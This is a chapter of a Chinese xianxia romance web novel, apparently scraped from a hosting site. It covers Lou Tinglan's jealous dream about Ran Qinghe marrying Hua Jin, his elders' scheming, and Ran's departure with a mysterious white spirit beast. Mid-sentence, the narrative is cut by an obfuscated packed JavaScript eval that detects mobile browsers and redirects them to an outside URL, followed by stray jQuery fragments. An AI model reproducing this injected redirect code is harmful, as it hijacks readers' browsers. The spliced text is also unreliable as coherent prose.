74. 天堑(其二)

作品:《被高岭之花首席盯上了

    南疆绯枫宗。


    漫山遍野的红枫如火一般在风中摇曳。而此刻,宗门内赫然是张灯结彩、宾客云集,一派喜庆的景象。


    主殿中央,正站着一对姿态亲昵的璧人。


    楼听澜随着入场宾客,交了拜帖,一同入殿观礼。端看四周喜烛满堂,似乎是修士结契之仪。


    待众位宾客坐定,楼听澜才倏地注意到,站在殿中的,竟是冉青禾?!


    他心下大惊,连端着的茶水不小心泼了满身都一无所觉,目光牢牢钉在她身上。


    怎么可能?!


    冉青禾身着绯枫宗特有的赤色流仙裙,明艳不可方物,嘴角含着一抹轻松惬意的笑。而她身边,站着的却是花烬。


    他同样是红衣墨发,正低着头与冉青禾说着什么,逗得她眉眼弯弯。


    周围交杂着宾客们的喧闹与祝福声。


    “少宗主与冉师姐当真是天作之合!”


    “恭喜二位结为道侣,共参大道。”


    “哎呀,是啊是啊,二位果真是郎才女貌,般配得紧啊。”


    道侣?


    楼听澜只觉得一股寒意自脚底窜起,瞬间冻结了四肢百骸。他想上前,却发现身体如同被无形的枷锁束缚着,任他使出多大的力气,都动弹不得,只能眼睁睁地看着两人行结契之礼。


    灵台一阵火灼般的热意传来,他只感觉眼前天旋地转。


    他用力闭了闭眼,再睁开时,场景骤然变换,已是结契大典当夜。


    他不知为何冲破了桎梏,竟站在了冉青禾的房门外。门扉轻掩,透出暖黄的烛光。


    他鬼使神差般地推门而入,内室中,冉青禾正对镜梳妆,卸下头上繁复的发饰。


    镜中的她,神色愉悦,甚至眼底染上了一丝不自觉的期待。


    “冉青禾。”


    他唤她的名字,只是话说出口,才发觉自己的嗓音竟是又涩又哑。


    冉青禾闻声回头,见到他,眼中闪过一丝讶异,随即又恢复如常:“楼师兄,你怎么会在这里?”


    她唤他,依旧是生疏得不能再生疏的称谓。


    “你和花烬已结为道侣?”他试图平静地问出这句话,可是尾音还是带上了一点颤抖。


    “是呀。”她的回答没有半分犹豫,面上尽是愉悦。


    听到她的亲口确认,他却是觉得,心底的某种东西似乎轰然碎裂开来,而压抑许久的情感,却是如同决堤的洪水一般,冲垮了名为理智的堤坝。


    他死死盯着她,试图在她脸上寻到哪怕一丁点的不情愿,但全然没有,她的眼睛仍旧弯着。


    灵台的灼烧感几乎烧的他失了理智,他上前一步,问出了那个盘桓心底已久、甚至是连自己都不肯承认的问题:


    “可是,你最开始是……喜欢我的?”


    话一出口,连他自己都怔住了,他从未想过,自己会如此直白地问出这样的话。


    冉青禾显然也愣住了。他一向是清冷自持,从未有过如此明显的情绪外露。她沉默了片刻,避开了他的灼灼目光,轻声道:


    “最初或许是有过些许的不同,但楼听澜,感情是会变的,经历了几年的相处,我如今……”


    “我也不知道该怎么和你说,但是花烬他的确更懂我,也更能让我开心,我现在,更喜欢他。”


    “更喜欢他?”楼听澜重复着她话,却忽然像是捕捉到了什么重点一般。


    “所以,你仍旧喜欢我,只是‘更’喜欢他,对吗?”


    对于这个问题,回应他的是一片缄默。


    “那你还愿不愿意跟我……”,他话还没有说完,身后的一只灵兽忽地扑向了他,咬住了他的肩膀。


    楼听澜猛地睁开双眼,从塌上坐起,额上已布满了细密的冷汗,心脏剧烈的跳动着,仿佛要蹦出胸腔一般,梦里那锥心刺骨的痛感如此真实,仍旧残留在四肢百骸。


    他很少做梦,又怎么会做这样,荒唐而怪诞的梦。


    梦中的大半内容他已忘却,他只记得自己一手拽住了冉青禾,一手召出静心剑,拼了命一般与人缠斗。


    他深吸一口气,试图平复紊乱的气息与心跳,但冉青禾的那句“我现在,更喜欢他”,却像是刻在他的脑子里一样,挥之不去。


    他抬手按了按眉心,清冷的眸子裹上了一丝茫然与挣扎。


    忽地,他又似乎想到了什么,一把抽出床榻一侧挂着的静心剑,静心剑光之上,额间的红痣荡然无存。


    不该如此的。


    “慰堂主及诸位长老安,听澜如今虽伤势已复,但仍觉境界未有寸进,故闭关静修,望诸位长老勿挂。听澜奉上。”


    他召出飞燕,将信送诸众长老的案台。


    楼关将信展开,嘴角微微弯起,暗暗轻点了下头,随手将信夹入了书页之中。


    “小妹,果然还是按你方法要行之有效的多。”同坐于对面榻上的楼镇赞道,“我本以为招冉青禾为书院弟子是你昏了头,却没想到,听澜竟真的收了心。”


    楼关轻轻合上书,瞥了楼镇一眼,不轻不重地道:


    “有时候,越是阻拦,感情才会越坚不可摧,越是放任,坚固的感情反而会如同纸一般脆。”


    楼关的话似乎提醒了楼镇什么,他面上不由得含了些许愠色,“我倒是从未想到,这冉青禾竟是个面冷心狠的,为了区区魁首之位,便使出如此下作手段。”


    他冷哼一声,“听澜如今闭关,冉青禾这祸害眼看也要离开书院,两人恐难以再有瓜葛,倒是天大的喜事一桩。”


    *


    冉青禾离开书院后,并未立刻催动花烬给的玉符,而是在青霄山下盘桓了两日,确认千钟确实因为青霄变故而无暇他顾之后,终于做出了决定。


    两日内,她没有收到关于楼听澜的任何消息,她自嘲一笑,也是,她将在大考之上使诈伤他,纵使他不计前嫌从千钟手上救下她。


    但他又凭什么放弃光风霁月的戒律堂首席弟子的身份,随她去绯枫。


    她沉下口气,取出储物袋中那枚枫叶状的玉符,注入一丝灵力。


    不过半个时辰,花烬便亲自寻来,脸上依旧挂着一副懒散的笑意,仿佛早已料定他的选择。


    “绯枫路远,有劳少宗主引路。”冉青禾神色平静,可细看之下,却也不难看出眼底的那抹郁色。


    “仙舟已备好,就在青霄山下,我们即刻出发?”


    冉青禾点头:“可。”


    两人一同前往仙舟渡口,却见往日来往弟子繁忙的仙舟渡口,此刻却是冷冷清清的没几个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797216|184885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人。


    花烬不知她出身凡人谷,见此情景,也是没心没肺道:“近日,青霄山门受袭,不对,要说是受袭也不恰当,只能说是被人占据。”


    冉青禾偏头问道:“占据?”


    花烬道:“是凡人谷那帮子修士,你可能不知道,凡人谷修士大都是从凡人界悟道而来,所以修为根基薄弱。”


    “据说是因为凡人谷的灵气稀薄,修士甚至苦熬几十年都难有寸进,所以这才有了这次暴动。”


    “凡人谷修士人数众多,所以,借由人数便宜,才抢了这仙舟,冲到青霄宗,但他们也不过多动作,只是在青霄门口支起临时住所,并没有过激举动,只是说要在灵气充裕处修炼。”


    冉青禾暗道,这魏临倒是有些手段,不主动进攻,只在山门处徘徊,便是青霄想要强硬地将他们赶走,怕也会落下口舌,影响青霄声誉。


    难怪千钟如今分身乏术,要是继续放任下去,凡人谷修士必定群起效尤,届时青霄山门怕是难以承载如此多的修士,不过,她倒是暗自庆幸,魏临搅浑了一池子水。


    两人一同登了仙舟,冉青禾站在甲板上,望着渐渐远去的青霄群山,思绪被牵扯着,不知是在想些什么。


    只是,她身旁一直趴着的喵喵,却像是感应到了什么一般,喉咙低低地朝着舱室吼着,浑身毛发立起。


    两人目光略一交汇,顺着喵喵的感应,慢慢朝前轻轻迈步,冉青禾袖中灵符亮起,只待暗处之人一现身,便将其困住。


    难不成,是千钟派人暗中跟踪?


    她心一沉,猛地推开舱门,但目之所及之处,却是空无一人。


    “嗷——”,跟在她脚边的喵喵却率先动作起来,一个纵身,扑向了墙脚。


    冉青禾手上的符随之攻去,但意外的是,符咒困住的只是……一只灵兽?


    这只灵兽看起来颇为奇特,通体雪白,唯有额间一撮淡淡的赤色绒毛,形态似狐非狐,似猫非猫,一双琉璃色的眸子澄澈剔透,正直直地望向她。


    见是虚惊一场,花烬也凑了过来,打量了几眼,“倒是稀奇,仙舟之上怎会平白无故地出现一只灵兽?”


    “虽然品阶不明,但是灵气看着倒也还算纯粹,难不成是与族群走散了?奇怪,我们明明是在青霄地界上的船。”


    冉青禾伸出手,揪住它的后颈,但这灵兽也不扑腾,只是乖乖地任她抓着,毫不动作。


    花烬见状,笑道:“看来它与你有缘,也好,此去绯枫路途遥远,有个小东西作伴,也能解闷。”


    他并未察觉什么异常,只当是一段巧遇。


    舟上厢房内,冉青禾将灵兽放在软垫上,又喂了它几颗灵果。它吃得慢条斯理,举止间竟带着一种天然的优雅。


    冉青禾坏心眼儿地戳了戳它的身子:“我怎么觉着你,这么眼熟呢?”


    灵兽吃东西的动作一顿,抬头看了看她,眼神颇为无辜。


    冉青禾细看之下,忽地发觉,“欸,你这眼睛……怎么和楼听澜长得一模一样?”


    灵兽的身体微不可察地僵了一下,又掩饰般地抓起面前的一颗灵果吃了起来。


    冉青禾倒是没有多想,又点了点它的脑袋道:“确实是像,既然如此,嗯……就叫你‘木头’好了。”